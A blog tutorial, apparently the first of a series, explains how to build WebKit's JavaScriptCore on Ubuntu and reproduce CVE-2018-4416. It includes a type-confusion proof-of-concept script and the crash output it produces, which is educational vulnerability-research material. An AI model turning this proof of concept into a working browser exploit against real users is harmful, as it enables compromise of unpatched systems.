Webkit Exploitation Tutorial(Part 1): Environment Setup

4 minute read

Preface

OKay, binary security is not only heap and stack, we still have a lot to discover despite regular CTF challenge. Browser, Virtual Machine, and Kernel all play an important role in binary security. And I decide to study browser first.

I choose a relative easy one: WebKit. (ChakraCore might be easier, LoL. But there’s rumor about Microsoft cancelling the project. Thus I decide not to choose it).

I will write a series of posts to record my notes in studying WebKit security. It’s also my first time learning Browser Security, my posts probably will have lots of mistakes. If you notice them, don’t be hesitate to contact me for corrections.

Pre-Knowledge

Before reading it, you need to know:

  • C++ grammar
  • Assembly Language grammar
  • Installation of Virtual Machine
  • Familiar to Ubuntu and its command line
  • Basic compile theory concepts

Setup

Okay, let’s start now.

Prepare VM

First, we need to install a VM as our testing target. Here, I choose Ubuntu 18.04 LTS and Ubuntu 16.04 LTSas our target host. You can download here. If I don’t specify version, please use 18.04 LTS as default version.

Mac might be a more appropriate choice since it has XCode and Safari. Consider to MacOS’s high resource consumption and unstable update, I would rather use Ubuntu.

We need a VM software. I prefer to use VMWare. Parallel Desktop and VirtualBox(Free) are also fine, it depends on you personal habit.

I won’t tell you how to install Ubuntu on VMWare step by step. However, I still need to remind you to allocate as much memory and CPUs as possible because compilation consumes huge amount of resource. A 80GB disk should be enough to store source code and compiled files.

Prepare Source Code

You can download WebKit source code in three ways: git, svn, and archive.

The default version manager of WebKit is svn. But I choose git(too unfamiliar to use svn):

git clone git://git.webkit.org/WebKit.git WebKit

Debugger and Editor

IDE consumes lots of resource, so I use vim to edit source code.

Most debug works I have seen use lldb which I am not familiar to. Therefore, I also install gdb with gef plugin.

sudo apt install vim gdb lldb
wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh

Test the Setup

Compile JavaScriptCore

Compiling a full WebKit takes large amount fo time. We only compile JSC(JavaScript Core) currently, where most vulnerabilities come from.

Now, you should in the root directory of WebKit source code. Run this to prepare dependencies:

Tools/gtk/install-dependencies

Even though we still not compile full WebKit now, you can install remaining dependencies first for future testing. This step is not required in compiling JSC if you don’t want to spend too much time:

Tools/Scripts/update-webkitgtk-libs

After that, we can compile JSC:

Tools/Scripts/build-webkit --jsc-only

A couple of minutes later, we can run JSC by:

WebKitBuild/Release/bin/jsc

Let’s do some tests:

>>> 1+1
2
>>> var obj = {a:1, b:"test"}
undefined
>>> JSON.stringify(obj)
{"a":1,"b":"test"}

Vulnerability Test

Ubuntu 18.04 LTS here

We use CVE-2018-4416 to test, here is the PoC. Store it to poc.js at the same folder of jsc:

function gc() {
    for (let i = 0; i < 10; i++) {
        let ab = new ArrayBuffer(1024 * 1024 * 10);
    }
}

function opt(obj) {
    // Starting the optimization.
    for (let i = 0; i < 500; i++) {

    }

    let tmp = {a: 1};

    gc();
    tmp.__proto__ = {};

    for (let k in tmp) {  // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
        tmp.__proto__ = {};

        gc();

        obj.__proto__ = {};  // The structure ID of "obj" equals to tmp's.

        return obj[k];  // Type confusion.
    }
}

opt({});

let fake_object_memory = new Uint32Array(100);
fake_object_memory[0] = 0x1234;

let fake_object = opt(fake_object_memory);
print(fake_object);

First, switch to the vulnerable version:

git checkout -b CVE-2018-4416 034abace7ab

It may spend even more time than compiling

Run: ./jsc poc.js, and we can get:

ASSERTION FAILED: structureID < m_capacity
../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID)
1   0x7f055ef18c3c WTFReportBacktrace
2   0x7f055ef18eb4 WTFCrash
3   0x7f055ef18ec4 WTFIsDebuggerAttached
4   0x5624a900451c JSC::StructureIDTable::get(unsigned int)
5   0x7f055e86f146 bool JSC::JSObject::getPropertySlot<true>(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&)
6   0x7f055e85cf64
7   0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const
8   0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const
9   0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const
10  0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const
11  0x5624a8fcc3a9
12  0x5624a8fcc70c
13  0x7f05131fe177
Illegal instruction (core dumped)

If we run this on latest version(git checkout master to switch back, and delete build content rm -rf WebKitBuild/Relase/* and rm -rf WebKitBuild/Debug/*):

./jsc poc.js 
WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled.
OK
undefined

=================================================================
==96575==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 96 byte(s) in 3 object(s) allocated from:
    #0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458)
    #1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocator<std::mutex> >, std::allocator<std::mutex>, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8)
    #2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocator<std::mutex> >, std::allocator<std::mutex>, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, 

... // lots of error message

SUMMARY: AddressSanitizer: 216 byte(s) leaked in 6 allocation(s).

Now, we succeed triggering a bug!

I am not gonna to explain the detail(I don’y know either). Hope we can figure out the root cause after a few weeks

Next?

I would introduce the architecture of WebKit. Then, I will analyze CVEs for different categories of vulnerability(e.g. UAF, OOB, and etc). Maybe I will also chain a full WebKit 1 day exploit.

Leave a comment